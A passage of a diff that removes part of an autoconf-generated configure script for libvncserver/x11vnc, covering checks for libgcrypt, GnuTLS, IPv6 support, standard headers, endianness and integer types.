- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\2/'`
- req_micro=`echo $min_libgcrypt_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\3/'`
- libgcrypt_config_version=`$LIBGCRYPT_CONFIG --version`
- major=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\1/'`
- minor=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\2/'`
- micro=`echo $libgcrypt_config_version | \
- sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).*/\3/'`
- if test "$major" -gt "$req_major"; then
- ok=yes
- else
- if test "$major" -eq "$req_major"; then
- if test "$minor" -gt "$req_minor"; then
- ok=yes
- else
- if test "$minor" -eq "$req_minor"; then
- if test "$micro" -ge "$req_micro"; then
- ok=yes
- fi
- fi
- fi
- fi
- fi
- fi
- if test $ok = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes ($libgcrypt_config_version)" >&5
-$as_echo "yes ($libgcrypt_config_version)" >&6; }
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- fi
- if test $ok = yes; then
- # If we have a recent libgcrypt, we should also check that the
- # API is compatible
- if test "$req_libgcrypt_api" -gt 0 ; then
- tmp=`$LIBGCRYPT_CONFIG --api-version 2>/dev/null || echo 0`
- if test "$tmp" -gt 0 ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking LIBGCRYPT API version" >&5
-$as_echo_n "checking LIBGCRYPT API version... " >&6; }
- if test "$req_libgcrypt_api" -eq "$tmp" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: okay" >&5
-$as_echo "okay" >&6; }
- else
- ok=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: does not match. want=$req_libgcrypt_api got=$tmp" >&5
-$as_echo "does not match. want=$req_libgcrypt_api got=$tmp" >&6; }
- fi
- fi
- fi
- fi
- if test $ok = yes; then
- LIBGCRYPT_CFLAGS=`$LIBGCRYPT_CONFIG --cflags`
- LIBGCRYPT_LIBS=`$LIBGCRYPT_CONFIG --libs`
- :
- else
- LIBGCRYPT_CFLAGS=""
- LIBGCRYPT_LIBS=""
- with_client_gcrypt=no
- fi
-
-
-
- CFLAGS="$CFLAGS $LIBGCRYPT_CFLAGS"
- LIBS="$LIBS $LIBGCRYPT_LIBS"
- if test "x$with_client_gcrypt" != "xno"; then
- $as_echo "@%:@define WITH_CLIENT_GCRYPT 1" >>confdefs.h
-
- fi
-fi
-
-# Checks for GnuTLS
-
-
-@%:@ Check whether --with-gnutls was given.
-if test "${with_gnutls+set}" = set; then :
- withval=$with_gnutls;
-fi
-
-
-if test "x$with_gnutls" != "xno"; then
-
-pkg_failed=no
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNUTLS" >&5
-$as_echo_n "checking for GNUTLS... " >&6; }
-
-if test -n "$GNUTLS_CFLAGS"; then
- pkg_cv_GNUTLS_CFLAGS="$GNUTLS_CFLAGS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gnutls >= 2.4.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gnutls >= 2.4.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GNUTLS_CFLAGS=`$PKG_CONFIG --cflags "gnutls >= 2.4.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-if test -n "$GNUTLS_LIBS"; then
- pkg_cv_GNUTLS_LIBS="$GNUTLS_LIBS"
- elif test -n "$PKG_CONFIG"; then
- if test -n "$PKG_CONFIG" && \
- { { $as_echo "$as_me:${as_lineno-$LINENO}: \$PKG_CONFIG --exists --print-errors \"gnutls >= 2.4.0\""; } >&5
- ($PKG_CONFIG --exists --print-errors "gnutls >= 2.4.0") 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- pkg_cv_GNUTLS_LIBS=`$PKG_CONFIG --libs "gnutls >= 2.4.0" 2>/dev/null`
- test "x$?" != "x0" && pkg_failed=yes
-else
- pkg_failed=yes
-fi
- else
- pkg_failed=untried
-fi
-
-
-
-if test $pkg_failed = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-
-if $PKG_CONFIG --atleast-pkgconfig-version 0.20; then
- _pkg_short_errors_supported=yes
-else
- _pkg_short_errors_supported=no
-fi
- if test $_pkg_short_errors_supported = yes; then
- GNUTLS_PKG_ERRORS=`$PKG_CONFIG --short-errors --print-errors --cflags --libs "gnutls >= 2.4.0" 2>&1`
- else
- GNUTLS_PKG_ERRORS=`$PKG_CONFIG --print-errors --cflags --libs "gnutls >= 2.4.0" 2>&1`
- fi
- # Put the nasty error message in config.log where it belongs
- echo "$GNUTLS_PKG_ERRORS" >&5
-
- :
-elif test $pkg_failed = untried; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
- :
-else
- GNUTLS_CFLAGS=$pkg_cv_GNUTLS_CFLAGS
- GNUTLS_LIBS=$pkg_cv_GNUTLS_LIBS
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-
-fi
- CFLAGS="$CFLAGS $GNUTLS_CFLAGS"
- LIBS="$LIBS $GNUTLS_LIBS"
-fi
- if test ! -z "$GNUTLS_LIBS"; then
- HAVE_GNUTLS_TRUE=
- HAVE_GNUTLS_FALSE='#'
-else
- HAVE_GNUTLS_TRUE='#'
- HAVE_GNUTLS_FALSE=
-fi
-
-if test ! -z "$GNUTLS_LIBS" ; then
- $as_echo "@%:@define HAVE_GNUTLS 1" >>confdefs.h
-
-fi
-
-
-# warn if neither GnuTLS nor OpenSSL are available
-if test -z "$SSL_LIBS" -a -z "$GNUTLS_LIBS"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING:
-==========================================================================
-*** No encryption library could be found. ***
-A libvncserver/libvncclient built this way will not support SSL encryption.
-To enable SSL install the necessary development packages (perhaps it is named
-something like libssl-dev or gnutls-dev) and run configure again.
-==========================================================================
-" >&5
-$as_echo "$as_me: WARNING:
-==========================================================================
-*** No encryption library could be found. ***
-A libvncserver/libvncclient built this way will not support SSL encryption.
-To enable SSL install the necessary development packages (perhaps it is named
-something like libssl-dev or gnutls-dev) and run configure again.
-==========================================================================
-" >&2;}
- sleep 5
-fi
-
-
-# IPv6
-
-
-@%:@ Check whether --with-ipv6 was given.
-if test "${with_ipv6+set}" = set; then :
- withval=$with_ipv6;
-fi
-
-if test "x$with_ipv6" != "xno"; then
- ac_fn_c_check_func "$LINENO" "getaddrinfo" "ac_cv_func_getaddrinfo"
-if test "x$ac_cv_func_getaddrinfo" = xyes; then :
- $as_echo "@%:@define IPv6 1" >>confdefs.h
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for getaddrinfo in -lsocket" >&5
-$as_echo_n "checking for getaddrinfo in -lsocket... " >&6; }
-if ${ac_cv_lib_socket_getaddrinfo+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lsocket $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char getaddrinfo ();
-int
-main ()
-{
-return getaddrinfo ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_socket_getaddrinfo=yes
-else
- ac_cv_lib_socket_getaddrinfo=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_getaddrinfo" >&5
-$as_echo "$ac_cv_lib_socket_getaddrinfo" >&6; }
-if test "x$ac_cv_lib_socket_getaddrinfo" = xyes; then :
- $as_echo "@%:@define IPv6 1" >>confdefs.h
-
-else
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for getaddrinfo in -lws2_32" >&5
-$as_echo_n "checking for getaddrinfo in -lws2_32... " >&6; }
- LIBS="$LIBS -lws2_32"
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ws2tcpip.h>
-int
-main ()
-{
-getaddrinfo(0, 0, 0, 0);
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
-
- $as_echo "@%:@define IPv6 1" >>confdefs.h
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
-$as_echo "yes" >&6; }
-
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-
-fi
-
-fi
-
-fi
-
-
-
-# Checks for header files.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for ANSI C header files" >&5
-$as_echo_n "checking for ANSI C header files... " >&6; }
-if ${ac_cv_header_stdc+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-#include <stdarg.h>
-#include <string.h>
-#include <float.h>
-
-int
-main ()
-{
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_stdc=yes
-else
- ac_cv_header_stdc=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-if test $ac_cv_header_stdc = yes; then
- # SunOS 4.x string.h does not declare mem*, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <string.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "memchr" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <stdlib.h>
-
-_ACEOF
-if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
- $EGREP "free" >/dev/null 2>&1; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f conftest*
-
-fi
-
-if test $ac_cv_header_stdc = yes; then
- # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi.
- if test "$cross_compiling" = yes; then :
- :
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <ctype.h>
-#include <stdlib.h>
-#if ((' ' & 0x0FF) == 0x020)
-# define ISLOWER(c) ('a' <= (c) && (c) <= 'z')
-# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c))
-#else
-# define ISLOWER(c) \
- (('a' <= (c) && (c) <= 'i') \
- || ('j' <= (c) && (c) <= 'r') \
- || ('s' <= (c) && (c) <= 'z'))
-# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c))
-#endif
-
-#define XOR(e, f) (((e) && !(f)) || (!(e) && (f)))
-int
-main ()
-{
- int i;
- for (i = 0; i < 256; i++)
- if (XOR (islower (i), ISLOWER (i))
- || toupper (i) != TOUPPER (i))
- return 2;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
-
-else
- ac_cv_header_stdc=no
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
-fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_stdc" >&5
-$as_echo "$ac_cv_header_stdc" >&6; }
-if test $ac_cv_header_stdc = yes; then
-
-$as_echo "@%:@define STDC_HEADERS 1" >>confdefs.h
-
-fi
-
-for ac_header in arpa/inet.h fcntl.h netdb.h netinet/in.h stdlib.h string.h sys/socket.h sys/time.h sys/timeb.h syslog.h unistd.h ws2tcpip.h
-do :
- as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
-if eval test \"x\$"$as_ac_Header"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-
-done
-
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
- for ac_header in pwd.h sys/wait.h utmpx.h termios.h sys/ioctl.h sys/stropts.h
-do :
- as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
-ac_fn_c_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
-if eval test \"x\$"$as_ac_Header"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_header" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-
-done
-
-fi
-
-# Checks for typedefs, structures, and compiler characteristics.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for an ANSI C-conforming const" >&5
-$as_echo_n "checking for an ANSI C-conforming const... " >&6; }
-if ${ac_cv_c_const+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-int
-main ()
-{
-
-#ifndef __cplusplus
- /* Ultrix mips cc rejects this sort of thing. */
- typedef int charset[2];
- const charset cs = { 0, 0 };
- /* SunOS 4.1.1 cc rejects this. */
- char const *const *pcpcc;
- char **ppc;
- /* NEC SVR4.0.2 mips cc rejects this. */
- struct point {int x, y;};
- static struct point const zero = {0,0};
- /* AIX XL C 1.02.0.0 rejects this.
- It does not let you subtract one const X* pointer from another in
- an arm of an if-expression whose if-part is not a constant
- expression */
- const char *g = "string";
- pcpcc = &g + (g ? g-g : 0);
- /* HPUX 7.0 cc rejects these. */
- ++pcpcc;
- ppc = (char**) pcpcc;
- pcpcc = (char const *const *) ppc;
- { /* SCO 3.2v4 cc rejects this sort of thing. */
- char tx;
- char *t = &tx;
- char const *s = 0 ? (char *) 0 : (char const *) 0;
-
- *t++ = 0;
- if (s) return 0;
- }
- { /* Someone thinks the Sun supposedly-ANSI compiler will reject this. */
- int x[] = {25, 17};
- const int *foo = &x[0];
- ++foo;
- }
- { /* Sun SC1.0 ANSI compiler rejects this -- but not the above. */
- typedef const int *iptr;
- iptr p = 0;
- ++p;
- }
- { /* AIX XL C 1.02.0.0 rejects this sort of thing, saying
- "k.c", line 2.27: 1506-025 (S) Operand must be a modifiable lvalue. */
- struct s { int j; const int *ap[3]; } bx;
- struct s *b = &bx; b->j = 5;
- }
- { /* ULTRIX-32 V3.1 (Rev 9) vcc rejects this */
- const int foo = 10;
- if (!foo) return 0;
- }
- return !cs[0] && !zero.x;
-#endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_const=yes
-else
- ac_cv_c_const=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_const" >&5
-$as_echo "$ac_cv_c_const" >&6; }
-if test $ac_cv_c_const = no; then
-
-$as_echo "@%:@define const /**/" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for inline" >&5
-$as_echo_n "checking for inline... " >&6; }
-if ${ac_cv_c_inline+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_cv_c_inline=no
-for ac_kw in inline __inline__ __inline; do
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#ifndef __cplusplus
-typedef int foo_t;
-static $ac_kw foo_t static_foo () {return 0; }
-$ac_kw foo_t foo () {return 0; }
-#endif
-
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_inline=$ac_kw
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- test "$ac_cv_c_inline" != no && break
-done
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_inline" >&5
-$as_echo "$ac_cv_c_inline" >&6; }
-
-case $ac_cv_c_inline in
- inline | yes) ;;
- *)
- case $ac_cv_c_inline in
- no) ac_val=;;
- *) ac_val=$ac_cv_c_inline;;
- esac
- cat >>confdefs.h <<_ACEOF
-#ifndef __cplusplus
-#define inline $ac_val
-#endif
-_ACEOF
- ;;
-esac
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether byte ordering is bigendian" >&5
-$as_echo_n "checking whether byte ordering is bigendian... " >&6; }
-if ${ac_cv_c_bigendian+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_cv_c_bigendian=unknown
- # See if we're dealing with a universal compiler.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#ifndef __APPLE_CC__
- not a universal capable compiler
- #endif
- typedef int dummy;
-
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
-
- # Check for potential -arch flags. It is not universal unless
- # there are at least two -arch flags with different values.
- ac_arch=
- ac_prev=
- for ac_word in $CC $CFLAGS $CPPFLAGS $LDFLAGS; do
- if test -n "$ac_prev"; then
- case $ac_word in
- i?86 | x86_64 | ppc | ppc64)
- if test -z "$ac_arch" || test "$ac_arch" = "$ac_word"; then
- ac_arch=$ac_word
- else
- ac_cv_c_bigendian=universal
- break
- fi
- ;;
- esac
- ac_prev=
- elif test "x$ac_word" = "x-arch"; then
- ac_prev=arch
- fi
- done
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- if test $ac_cv_c_bigendian = unknown; then
- # See if sys/param.h defines the BYTE_ORDER macro.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/param.h>
-
-int
-main ()
-{
-#if ! (defined BYTE_ORDER && defined BIG_ENDIAN \
- && defined LITTLE_ENDIAN && BYTE_ORDER && BIG_ENDIAN \
- && LITTLE_ENDIAN)
- bogus endian macros
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- # It does; now see whether it defined to BIG_ENDIAN or not.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/param.h>
-
-int
-main ()
-{
-#if BYTE_ORDER != BIG_ENDIAN
- not big endian
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_bigendian=yes
-else
- ac_cv_c_bigendian=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- fi
- if test $ac_cv_c_bigendian = unknown; then
- # See if <limits.h> defines _LITTLE_ENDIAN or _BIG_ENDIAN (e.g., Solaris).
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <limits.h>
-
-int
-main ()
-{
-#if ! (defined _LITTLE_ENDIAN || defined _BIG_ENDIAN)
- bogus endian macros
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- # It does; now see whether it defined to _BIG_ENDIAN or not.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <limits.h>
-
-int
-main ()
-{
-#ifndef _BIG_ENDIAN
- not big endian
- #endif
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_c_bigendian=yes
-else
- ac_cv_c_bigendian=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
- fi
- if test $ac_cv_c_bigendian = unknown; then
- # Compile a test program.
- if test "$cross_compiling" = yes; then :
- # Try to guess by grepping values from an object file.
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-short int ascii_mm[] =
- { 0x4249, 0x4765, 0x6E44, 0x6961, 0x6E53, 0x7953, 0 };
- short int ascii_ii[] =
- { 0x694C, 0x5454, 0x656C, 0x6E45, 0x6944, 0x6E61, 0 };
- int use_ascii (int i) {
- return ascii_mm[i] + ascii_ii[i];
- }
- short int ebcdic_ii[] =
- { 0x89D3, 0xE3E3, 0x8593, 0x95C5, 0x89C4, 0x9581, 0 };
- short int ebcdic_mm[] =
- { 0xC2C9, 0xC785, 0x95C4, 0x8981, 0x95E2, 0xA8E2, 0 };
- int use_ebcdic (int i) {
- return ebcdic_mm[i] + ebcdic_ii[i];
- }
- extern int foo;
-
-int
-main ()
-{
-return use_ascii (foo) == use_ebcdic (foo);
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- if grep BIGenDianSyS conftest.$ac_objext >/dev/null; then
- ac_cv_c_bigendian=yes
- fi
- if grep LiTTleEnDian conftest.$ac_objext >/dev/null ; then
- if test "$ac_cv_c_bigendian" = unknown; then
- ac_cv_c_bigendian=no
- else
- # finding both strings is unlikely to happen, but who knows?
- ac_cv_c_bigendian=unknown
- fi
- fi
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-$ac_includes_default
-int
-main ()
-{
-
- /* Are we little or big endian? From Harbison&Steele. */
- union
- {
- long int l;
- char c[sizeof (long int)];
- } u;
- u.l = 1;
- return u.c[sizeof (long int) - 1] == 1;
-
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_run "$LINENO"; then :
- ac_cv_c_bigendian=no
-else
- ac_cv_c_bigendian=yes
-fi
-rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \
- conftest.$ac_objext conftest.beam conftest.$ac_ext
-fi
-
- fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_bigendian" >&5
-$as_echo "$ac_cv_c_bigendian" >&6; }
- case $ac_cv_c_bigendian in #(
- yes)
- $as_echo "@%:@define WORDS_BIGENDIAN 1" >>confdefs.h
-;; #(
- no)
- ;; #(
- universal)
-
-$as_echo "@%:@define AC_APPLE_UNIVERSAL_BUILD 1" >>confdefs.h
-
- ;; #(
- *)
- as_fn_error $? "unknown endianness
- presetting ac_cv_c_bigendian=no (or yes) will help" "$LINENO" 5 ;;
- esac
-
-ac_fn_c_check_type "$LINENO" "size_t" "ac_cv_type_size_t" "$ac_includes_default"
-if test "x$ac_cv_type_size_t" = xyes; then :
-
-else
-
-cat >>confdefs.h <<_ACEOF
-@%:@define size_t unsigned int
-_ACEOF
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether time.h and sys/time.h may both be included" >&5
-$as_echo_n "checking whether time.h and sys/time.h may both be included... " >&6; }
-if ${ac_cv_header_time+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <sys/time.h>
-#include <time.h>
-
-int
-main ()
-{
-if ((struct tm *) 0)
-return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_time=yes
-else
- ac_cv_header_time=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_time" >&5
-$as_echo "$ac_cv_header_time" >&6; }
-if test $ac_cv_header_time = yes; then
-
-$as_echo "@%:@define TIME_WITH_SYS_TIME 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sys/wait.h that is POSIX.1 compatible" >&5
-$as_echo_n "checking for sys/wait.h that is POSIX.1 compatible... " >&6; }
-if ${ac_cv_header_sys_wait_h+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
-#include <sys/wait.h>
-#ifndef WEXITSTATUS
-# define WEXITSTATUS(stat_val) ((unsigned int) (stat_val) >> 8)
-#endif
-#ifndef WIFEXITED
-# define WIFEXITED(stat_val) (((stat_val) & 255) == 0)
-#endif
-
-int
-main ()
-{
- int s;
- wait (&s);
- s = WIFEXITED (s) ? WEXITSTATUS (s) : 1;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_header_sys_wait_h=yes
-else
- ac_cv_header_sys_wait_h=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_header_sys_wait_h" >&5
-$as_echo "$ac_cv_header_sys_wait_h" >&6; }
-if test $ac_cv_header_sys_wait_h = yes; then
-
-$as_echo "@%:@define HAVE_SYS_WAIT_H 1" >>confdefs.h
-
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for socklen_t" >&5
-$as_echo_n "checking for socklen_t... " >&6; }
-if ${ac_cv_type_socklen_t+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-#include <sys/types.h>
- #include <sys/socket.h>
-int
-main ()
-{
-socklen_t len = 42; return 0;
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_compile "$LINENO"; then :
- ac_cv_type_socklen_t=yes
-else
- ac_cv_type_socklen_t=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_type_socklen_t" >&5
-$as_echo "$ac_cv_type_socklen_t" >&6; }
- if test $ac_cv_type_socklen_t != yes; then
- $as_echo "@%:@define socklen_t int" >>confdefs.h
-
- fi
-
-if test ! -d ./rfb; then
- echo "creating subdir ./rfb for rfbint.h"
- mkdir ./rfb
-fi
-# ------ AC CREATE STDINT H -------------------------------------
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for stdint-types...." >&5
-$as_echo_n "checking for stdint-types....... " >&6; }
-ac_stdint_h=`echo rfb/rfbint.h`
-if test "$ac_stdint_h" = "stdint.h" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(are you sure you want them in ./stdint.h?)\"" >&5
-$as_echo "\"(are you sure you want them in ./stdint.h?)\"" >&6; }
-elif test "$ac_stdint_h" = "inttypes.h" ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(are you sure you want them in ./inttypes.h?)\"" >&5
-$as_echo "\"(are you sure you want them in ./inttypes.h?)\"" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: \"(putting them into $ac_stdint_h)\"" >&5
-$as_echo "\"(putting them into $ac_stdint_h)\"" >&6; }
-fi
-
-inttype_headers=`echo inttypes.h sys/inttypes.h sys/inttypes.h \
-| sed -e 's/,/ /g'`
-
- ac_cv_header_stdint_x="no-file"
- ac_cv_header_stdint_o="no-file"
- ac_cv_header_stdint_u="no-file"
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uintptr_t
- unset ac_cv_type_uint64_t
- ac_fn_c_check_type "$LINENO" "uintptr_t" "ac_cv_type_uintptr_t" "#include <$i>
-"
-if test "x$ac_cv_type_uintptr_t" = xyes; then :
- ac_cv_header_stdint_x=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(uint64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our uintptr_t in $i $and64" >&5
-$as_echo "... seen our uintptr_t in $i $and64" >&6; }
- break;
- done
- if test "$ac_cv_header_stdint_x" = "no-file" ; then
- for i in stdint.h $inttype_headers ; do
- unset ac_cv_type_uint32_t
- unset ac_cv_type_uint64_t
- ac_fn_c_check_type "$LINENO" "uint32_t" "ac_cv_type_uint32_t" "#include <$i>
-"
-if test "x$ac_cv_type_uint32_t" = xyes; then :
- ac_cv_header_stdint_o=$i
-else
- continue
-fi
-
- ac_fn_c_check_type "$LINENO" "uint64_t" "ac_cv_type_uint64_t" "#include<$i>
-"
-if test "x$ac_cv_type_uint64_t" = xyes; then :
- and64="(uint64_t too)"
-else
- and64=""
-fi
-
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ... seen our uint32_t in $i $and64" >&5
-$as_echo "... seen our uint32_t in $i $and64" >&6; }
- break;
- done
- if test "$ac_cv_header_stdint_o" = "no-file" ; then
- for i in sys/types.h $inttype_headers ; do
- unset ac_cv_type_u_int32_t
- unset ac_cv_type_u_int64_t
- ac_fn_c_check_type "$LINENO" "u_int32_t" "ac_cv_type_u_int32_t" "#include <$i>
